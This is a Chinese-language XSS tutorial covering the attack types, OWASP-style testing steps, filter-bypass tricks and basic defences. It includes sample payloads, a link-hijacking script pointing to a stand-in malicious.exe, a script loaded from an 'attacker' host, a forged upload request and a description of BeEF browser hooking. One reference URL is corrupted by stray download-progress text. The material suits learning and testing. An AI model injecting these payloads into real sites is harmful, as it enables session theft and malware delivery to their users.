XSS(跨站脚本攻击)的最全总结
什么是XSS
综述
Cross-Site Scripting(XSS)是一类注入问题,恶意脚本被注入到健康的、可信任的网站。当一个攻击者通过一个网站应用程序,以浏览器端脚本的形式,给另一端的用户发送恶意代码时,XSS攻击就发生了。允许这种攻击成功的缺陷广泛存在于各个大小网站,只要这个网站某个页面将用户的输入包含在它生成的动态输出页面中并且未经验证或编码转义,这个缺陷就存在。
攻击者使用XSS发送恶意脚本给一个不持怀疑态度的用户,用户端的浏览器没法知道脚本可不可信,从而执行该js脚本。因为浏览器认为该脚本来自于一个可信赖的网站,导致恶意脚本可以访问任何cookies信息、会话令牌、或者其他由浏览器保存的但由那个网站使用的敏感信息,甚至可以修改当前网页内容。
存储型XSS:存储在数据库,是永久的,除非数据库被重置或者恶意语句被人工删除。攻击者引导用户到一个特定的页面。
反射型XSS:恶意脚本没有存储在远端的网站应用中,需要社会工程学配合,比如通过邮件或聊天软件发送链接。主要用来窃取cookie。
跨站脚本发生在什么时候?
- 数据通过一个不可信的源,大多数时是一个页面请求,进入网站应用。
- 数据未经验证是否含有恶意内容,就包含在动态内容中发送给网站用户。
发送到浏览器的恶意内容通常以一段js脚本的形式存在,但也可能是html、flash或者任何其他可能被浏览器执行的代码。基于xss的攻击是多样化没有限制的,常见的有传输私密数据,像cookies或其他会话信息,对攻击者而言,重定向或引诱受害者到由攻击者所控制的页面,或者伪装成可信赖网站,直接在用户机器上执行恶意操作。
分类
XSS攻击通常被分为两类:存储型和反射型。还有第三类,不那么知名的,基于DOM的xss。
- 存储型
注入的脚本被永久的存储在了目标服务器中,比如数据库、论坛帖子、访问日志、留言评论等。受害者向服务器请求获取存储的信息时, 就获得了这些恶意脚本。存储型XSS也被称为持久型或I-型XSS。
- 反射型
注入脚本从网站服务器被反弹回来,比如错误消息、搜索结果、或者任何其他响应(这些响应完全或部分包含了用户在浏览器输入的内容)。
反射型攻击通过其他途径传递到受害者,比如邮件、或其他网站。当用户被引诱点击恶意链接,提交一个特别构造的表单、或浏览一个恶意 站点,注入脚本传送到了脆弱站点并反射给用户的浏览器,浏览器认为该链接来自一个可信的服务器就执行了它。反射型XSS也称为非持久型或II-型XSS。
- DOM型
DOM型XSS又称0-型xss。攻击者提交的恶意数据并未显式的包含在web服务器的响应页面中,但会被页面中的js脚本以变量的形式来访问到,导致浏览器在渲染页面执行js脚本的过程中,通过DOM操作执行了变量所代表的恶意脚本。这种也被归类为‘client-side xss’。
前两类xss攻击中,服务器的响应页面中显式的包含了恶意内容,被归类为‘server-side xss’。
攻击后果
无论是存储型、反射型还是DOM型,攻击后果都是相同的。不同点在于payload到达服务器的方式。不要愚蠢的认为一个只读的站点对反射型xss是免疫的。xss会引起一系列的问题,严重程度从噪音干扰到完全的账户危害。
大多数严重的xss攻击涉及用户回话cookie泄露,允许攻击者劫 用户的会话从而接管账户。其他破坏性攻击包括终端用户文件泄露、特洛伊木马安装、重定向用户到其他页面或站点、或修改页面内容。xss弱点引起的新闻稿或新闻条目被修改会影响公司股价或削弱消费者信心。一个医药站点的xss缺陷允许攻击者修改剂量信息导致用药过量。
如何判断网站是否脆弱
网站应用中的xss缺陷是难以识别和移除的。最好的检测和发现缺陷的方法就是进行代码的安全审计,搜索所有可能的接收用户数据输入的地方,并且输入的数据会显示在网站服务器响应的页面中。
请注意,各种不同的HTML标签可以用来传输恶意脚本。Nessus、Nikto等工具可以帮助我们扫面网站的xss缺陷,但是不够周祥和深刻。如果网站某一部分是可以入侵的,那么其他问题也存在的可能性就很高。
xss防御
- 防御手册 : https://www.owasp.org/index.php/XSS_(Cross_Sit
41 36901 41 15231 0 0 855 0 0:00:43 0:00:17 0:00:26 2853e_Scripting)_Prevention_Cheat_Sheet
- 自动检测dom缺陷的chrome插件: http://code.google.com/p/domsnitch/
反射型xss测试
概要
反射型注入攻击发生在用户打开一个恶意构造的链接或第三方网页,攻击字符串包含在构造的url中或者是http参数中,web应用没有 适当的处理并返回给受害者。
反射型的攻击负载通过单一的请求和响应被传递和执行。如果一个网站存在xss缺陷,它会将请求中附带的参数不经验证的回传给客户端。
这种攻击最常见的做法分两步:设计,攻击者创建和测试构造的恶意链接;社会工程学,确信受害者会通过浏览器加载这个url并最终执行。
通常,攻击代码使用js编写,但其他语言比如action script、vb script等也会用到。攻击者可以安装键盘记录器、窃取cookies、粘贴板、 改变页面内容(比如下载链接)。
预防xss漏洞的主要难点之一是合适的字符编码。一些情况下,web服务器不能过滤某些字符编码,比如可以过滤‘<script>’,但是无法过滤%3cscript%3e。
如何测试
黑盒测试
黑盒测试至少包含3个阶段:
- 1、探测输入向量。每一个网页,测试者必须判定网站应用定义了哪些变量、如何输入他们。这些变量也包含隐藏的或非显式的输入,比如http参数、post数据、隐藏的表单字段、预定义的单选钮或复选框的值。浏览器内置的HTML编辑器或web代理可以用来审查这些隐藏的变量。
- 2、分析每个输入向量去检测潜在的漏洞。为了检测潜在xss漏洞,测试者应为每个输入向量构造特别的填充数据。测试数据可以通过模糊测试工具生成,自动生成预定义的攻击字符串列表,或者人工。逃避xss过滤的攻击列表。
- 3、对每个尝试过的输入,测试者根据反馈页面判定是否它代表一个漏洞并对网站安全构成实际威胁。这个需要检查结果页面并搜寻输入的数据。一旦找到,测试者就可识别出那些特别的未经编码、替换、过滤的数据。理想情况下,所有的HTML关键字都需要经过html实体编码。
做关键的几个需要编码的字符是:{< > & ' "}。
XSS过滤绕过
请参考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
当网站应用清理输入、网站应用防火墙或浏览器内置的机制阻止恶意输入时,反射型xss就会被阻拦。但是测试者必须假定浏览器不会阻拦这类攻击,比如版本陈旧、内置安全功能被禁用等,并测试所有可能的漏洞。类似的,网站防火墙不能保证识别新奇的、未知的攻击。攻击者能构造防火墙无法识别的攻击字符串。
因此,防御xss攻击主要依赖网站应用清理不可信任的用户输入。有几种清理办法,比如返回错误、过滤或转义关键字。同时这些预防手段也造就了另外一个弱点:黑名单不可能囊括所有可能的攻击字符串、白名单可能过渡授权,这时清理就会失败,导致某类输入被不正确的信任并未被清理。
攻击测试的例子
- http://example.com/index.php?user=<script>alert(123)</script>
- http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
- 标签属性值
<input type="text" name="state" value="INPUT_FROM_USER">
" onfocus="alert(document.cookie)
- 不同的语法或编码
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
- 非递归性过滤
<scr<script>ipt>alert(document.cookie)</script>
- 绕过正则过滤
模式串 $re = "/<script[^>]+src/i";
添加额外的属性,绕过 http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
- HTTP parameter pollution
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
http参数污染,查询字符串或表单提交的参数中某个同名参数出现了多次,apache等web服务器解析协议参数时的方式各异,
网站应用程序的各个组件所使用的参数值不一致。
存储型XSS测试
概述
存储型XSS是最危险的跨站脚本攻击。网站应用程序允许用户存储数据,这类网站就潜在的暴露在这类攻击面前。
当网站应用从用户那里搜集输入的数据,然后存储起来以备后用,但这些输入没有经过正确的过滤,结果恶意数据被做为网站页面的一部分得以呈现,并运行在用户浏览器中且拥有网站应用程序所属用户的权限。
这种漏洞可以被用来实施基于浏览器的攻击:
- 劫持用户浏览器
- 捕获用户所浏览的网站敏感信息
- 对内网主机进行端口扫描
- 基于浏览器利用的定向投递
存储型xss不需要利用恶意链接,用户访问某个加载了之前存储的xss代码的页面时就会触发。攻击场景一般有下面几个阶段:
- 攻击者存储恶意代码到由漏洞的页面
- 用户通过应用程序的身份认证
- 用户访问漏洞页面
- 恶意代码被用户的浏览器执行
这类攻击可以结合浏览器利用框架比如beef、xss prox、backframe。这些框架允许复杂的脚本利用开发。
当访问漏洞页面的用户有比较高的权限时,这类攻击特别危险。比如当管理员访问漏洞页面时,这类攻击就自动被浏览器执行。
这就可能暴露敏感信息比如会话令牌。
如何测试
黑盒测试
识别存储型漏洞的过程和之前测试反射型漏洞类似。
输入表单
第一步是找出哪些地方的用户输入会被存储到后端并会被渲染显示在前端。典型的存储用户输入的地方有:
- 用户|配置,网站应用允许用户修改个人配置详细信息,比如姓名、昵称、头像、地址等;
- 购物篮,
- 文件管理器,应用程序允许文件上传
- 应用程序偏好设置
- 论坛|消息面板,允许用户之间互相发送消息
- 博客,允许用户留言评论
- 日志,如果网站应用将某些用户的输入存进日志
分析HTML代码
用户输入被网站应用存储后,一般会在显示时当做html标签的属性值。这一步中,最根本的是去理解输入部分被渲染显示时, 在页面上下文中是怎么被安放的。所有可能被管理员看到的输入部分都需要被测试。
比如,后台用户管理中某个用户的详细信息,有邮件:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
这时,可以在<input>标签后面注入恶意代码:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
试验是否可以注入
这就涉及输入验证、后端的过滤规则。比如注入:
aaa@aa.com"><script>alert(document.cookie)</script>
aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
为了保证注入的数据被提交,通常需要暂时禁用浏览器的js代码执行、或在本地代理的http编辑器中修改请求的原始数据。
但是提交后,可能被网站应用程序过滤,比如script被替换成了空格或者空串,这就是一个潜在的过滤信号,当然有很多规避过滤的技术。
利用存储的注入代码
存储的恶意代码可以被高级js利用框架利用,比如beef、xss-proxy、backframe。
一个典型的beef利用场景涉及:
- 注入一段js钩子代码,可以与攻击者的浏览器利用框架通信
- 等待网站用户访问漏洞页面
- 通过beef控制台控制网站用户的浏览器
beef可以访问用户的cookies、屏幕截图、剪贴板、以及发起更复杂的xss攻击。如果这个漏洞页面会被拥有不同权限的用户访问, 那么这个攻击是相当有效的。
文件上传
如果网站应用允许文件上传,需要检测下是否可以上传html内容。如果html或txt文件被允许,那么xss负载就可以被注入。
渗透测试人员应该验证是否这个上传点允许设置任意的MIME类型。这个设计缺陷允许浏览器的MIME误处理攻击。比如,看起来无害的JPG和GIF文件包含xss负载,可能在被浏览器载入的时候得到执行。这个是可能的,当本应设置MIME为image/gif时却设置为text/html。
这种情况下,文件被客户端浏览器创建为HTML。
伪造POST请求:
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>
DOM型XSS测试
概述
DOM型跨站脚本事实上是浏览器端的动态内容所引起的xss bug。典型的,比如js,获取用户输入并用它做了一些不安全的事情导致注入代码被执行。本文只是讨论 js bug 所引起的xss漏洞。
DOM,全称为Document Object Model,是一种结构化的格式,被用来表达浏览器中的文档。DOM允许动态脚本,比如js,来引用文档中的组件,比如表单字段、或会话令牌。DOM也被浏览器来实现安全策略,比如同源策略限制跨域DOM操作。当动态内容,比如js函数被一个构造的请求修改,dom元素可以被攻击者控制,从而形成xss漏洞。
很少有这方面的论文发表,因此它的含义和正规测试方法几乎没有标准的定义。
如何测试
不是所有的xss bug都需要攻击者去控制从服务器返回的动态页面,但是泛滥的愚蠢的js编码会导致同样的结果。
与其他类型的xss漏洞(服务器未清理用户提交的参数,回传给用户浏览器端并得到执行)相比,dom-xss 可以控制代码的执行流程。
大多数情况下,dom-xss可以在服务端不知情的情况下执行。比如:
<script>
document.write("Site is at: " + document.location.href + ".");
</script>
攻击者追加#<script>alert('xss')</script>到页面的url后面,当执行时会弹窗。这个例子中,追加的代码不会被发送到服务端,因为#后面的字符串根本没有被浏览器当做查询字符串的一部分,而是作为一个锚标记,因而无需和服务器取得联系。
dom-xss的攻击后果和其他更知名的xss攻击一样广泛,cookies获取、更进一步的恶意脚本注入,所以应该被划分到同样的严重等级。
黑盒测试
dom-xss的黑盒测试是不必要的,因为前端的源码总是可见的,浏览器需要从服务端那获取并执行。
灰盒测试
js应用程序和其他的应用程序有显著的区别,因为他们是由服务端动态产生的,为了理解什么代码正在被执行,测试者需要爬行站点来判定正在被执行的脚本和哪些地方是接收用户输入的。许多站点依赖大量的库函数,伸展开后有成百上千行代码并且不是内部开发的。这种情况下,自顶向下的测试常常是唯一可行的选择,因为许多底层的函数从没用到过,从中分析哪些是弱点耗费太多时间。对于自顶向下测试,是否能识别哪些地方接收用户输入同样至关重要。
用户输入来源有两种形式:
- 服务端动态写入,不允许直接的xss
- 客户端脚本对象中获取的变量
下面是服务端插入数据到js脚本中的两个例子:
var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");
下面是从客户端js对象中获取输入的两个例子:
var data = window.location;
var result = someFunction(window.referer);
对于js代码来说,两种获取输入的方式基本没有差异,重要的是当从服务端获取输入时,服务端能对数据应用任何的排列组合,
然而js对象中获取的输入却很好理解。所以,如果上例中的js函数是弱点的话,前例中的漏洞利用依赖服务端的过滤,后例中的
利用依赖于浏览器对window.referer对象的编码。 参考 https://code.google.com/p/domxsswiki/wiki/LocationSources
另外,js脚本也常常会在script标签外部执行,过去许多的攻击向量都导致了xss攻击已经证实了这一点。所以,在爬行站点时,留意诸如‘事件处理器’、‘带有expression属性的css语句块’等这些地方的代码是很重要的。
自动化测试在识别和验证dom-xss漏洞时是很弱的,因为他仅仅是发送特定的负载并尝试审查服务器响应的页面。这个可能在一些简单的例子中工作得比较好,比如那些参数被反射回给用户的情况:
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
但是下面不自然的例子无法被检测到:
<script>
var navAgt = navigator.userAgent;
if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
基于这样的原因,自动化测试通常无法检测dom-xss漏洞,除非测试工具能对客户端脚本执行额外的分析。
人工测试应该进行,检查某些代码区域,那些区域中的参数对攻击者而言是有用的。比如,代码被动态写到页面、dom树被修改、甚至脚本被直接执行。参考 http://www.webappsec.org/projects/articles/071105.shtml
XSS攻击试探
没有任何过滤
<script>alert('xss')</script>
过滤关键字script,但大小写不敏感
<ScripT>alert('xss')</ScripT>
过滤了模式串<*s*c*r*i*p*t,而且大小写敏感
<img src='xx' onerror=alert('xss')>
进行了html编码
没得玩!!!
常见XSS攻击代码
锚标记一句话执行
<script>eval(location.hash.substring(1))</script></br>
续行、冒号进行html编码
<a href="javascript:alert(1)">click</a> </br>
img标签带上事件
<IMG “”><SCRIPT>alert(\'bask-slash no change to run\')</SCRIPT>”></br>
<IMG “”><SCRIPT>alert('img1')</SCRIPT>”></br>
<IMG “”"><SCRIPT>alert('img2')</SCRIPT>”></br>
<IMG “”><SCRIPT>alert('img3')</SCRIPT>></br>
- js的unicode编码,html十进制、十六进制编码
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded')"></br>
<img src="x" onerror="alert(1)"></br>
<img src="x" onerror="alert('html编码')"></br>
<script>\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded1111')</script>
data中对网页内容进行base64编码,比如 <img src=x onerror=alert('base64')>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdiYXNlNjQnKT4=">test</a></br>
抵御XSS
thinkphp框架中有表单提交数据的过滤,默认采用html实体编码进行转义,就是所谓的I函数。
浏览器解释器词法分析遇到转义的字符,就认为他是不可执行的,然后接着去反转义,接着当做数据去显示,没有当做js代码去执行。再解释一次就可以得到执行。
比如:在firebug中用元素审查,随便加个空格
post表单提交的汉字的传输编码由<meta charset>指定,
>>> print '%r' % u'你'.encode('utf8')
'\xe4\xbd\xa0'
传输中为%e4%bd%a0
不过地址栏附加的url参数,汉字默认为gbk编码,这里为%c4%e3,比如你在百度搜索框输入"你被入侵了",然后查看地址栏url参数。
>>> print '%r' % u'你'.encode('gbk')
'\xc4\xe3'
抵御XSS攻击,只需做到两点:
1、所有前端的页面渲染,尽量使用ajax异步进行,从后台获取要显示的数据。
2、前端提交过来的数据,在后台入口处统统对HTML中的关键字进行html编码转义。
做到上面方可基本无忧。
推荐学习实验